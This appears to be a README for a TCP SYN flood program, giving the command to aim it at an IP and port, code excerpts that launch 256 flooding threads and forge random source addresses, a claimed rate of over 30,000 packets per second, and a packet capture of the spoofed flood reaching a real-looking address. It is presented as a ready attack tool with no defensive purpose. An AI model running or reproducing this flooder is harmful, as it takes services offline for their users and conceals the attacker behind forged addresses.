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This is a TCP flooding program, which includes:

Readme.pdf

header.h header.c. header.o

synflood.c synflood.o synflood

In the synflood.c, we have a main function and a thread attack function. We need the command: "./synflood IP Port" to attack the given IP:Port. For example, if we use

./synflood 159.65.58.222 1234

This program will creat 256 threads and each thread will keep sending tcp package to the target.

```
pthread_t pthread[256];  
for(int n=0;n<256;n++) pthread_create(&pthread[n], NULL, send_synflood, &fd);  
return 0;
```

And in the same time, each package's source is totally random produced

```

char source_ip[32];
source_ip[0] = '\0';
char buffer[4];
sprintf(buffer, "%d", rand() % 256);
strcat(source_ip, buffer);
strcat(source_ip, ".");
sprintf(buffer, "%d", rand() % 256);
strcat(source_ip, buffer);
strcat(source_ip, ".");
sprintf(buffer, "%d", rand() % 256);
strcat(source_ip, buffer);
strcat(source_ip, ".");
sprintf(buffer, "%d", rand() % 256);
strcat(source_ip, buffer);
iph->saddr=inet_addr(source_ip);

```

In only 1 second, the program will send 30000+ tcp packages to the target.

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No.	Time	Source	Destination	Protocol	Length	Info
30353	16.212081	70.163.46.65	159.65.58.222	TCP	54	2035 → 123..
30354	16.212081	3.12.189.98	159.65.58.222	TCP	54	2336 → 123..
30355	16.212081	39.124.31.77	159.65.58.222	TCP	54	2035 → 123..
30356	16.212081	102.196.35.184	159.65.58.222	TCP	54	2336 → 123..
30357	16.212081	40.171.226.87	159.65.58.222	TCP	54	2035 → 123..
30358	16.212082	200.2.181.172	159.65.58.222	TCP	54	2336 → 123..
30359	16.212082	246.83.153.156	159.65.58.222	TCP	54	2035 → 123..

▶ Frame 1: 92 bytes on wire (736 bits), 92 bytes captured (736 bits) on interface 0

▶ Ethernet II, Src: Tp-LinkT_ae:eb:a0 (84:16:f9:ae:eb:a0), Dst: Apple_8a:6e:89 (4c:32:75:8a:6e:89)

▶ Internet Protocol Version 4, Src: 104.25.218.21, Dst: 192.168.0.101

▶ Transmission Control Protocol, Src Port: 443, Dst Port: 50731, Seq: 1, Ack: 1, Len: 38

▶ Secure Sockets Layer

Offset	Hex	ASCII
0000	4c 32 75 8a 6e 89 84 16 f9 ae eb a0 08 00 45 00	L2u·n·····E·
0010	00 4e bf 5c 40 00 37 06 81 11 68 19 da 15 c0 a8	·N·\@·7· ··h····
0020	00 65 01 bb c6 2b 4c c6 24 89 f2 0f 04 45 50 18	·e···+L· \$···EP·
0030	00 1f 61 11 00 00 17 03 03 00 21 00 00 00 00 00	··a····· ··!····
0040	00 00 0d f4 42 c9 23 3c 6a c2 c8 66 13 ef 7c 89	····B·#< j··f·· ·
0050	a8 f9 10 aa 91 c2 31 95 f6 67 35 ad	·····1··g5··

Wi-Fi: en0: <live capture in progress> 分组: 60709 · 已显示: 60709 (100.0%) Profile: Default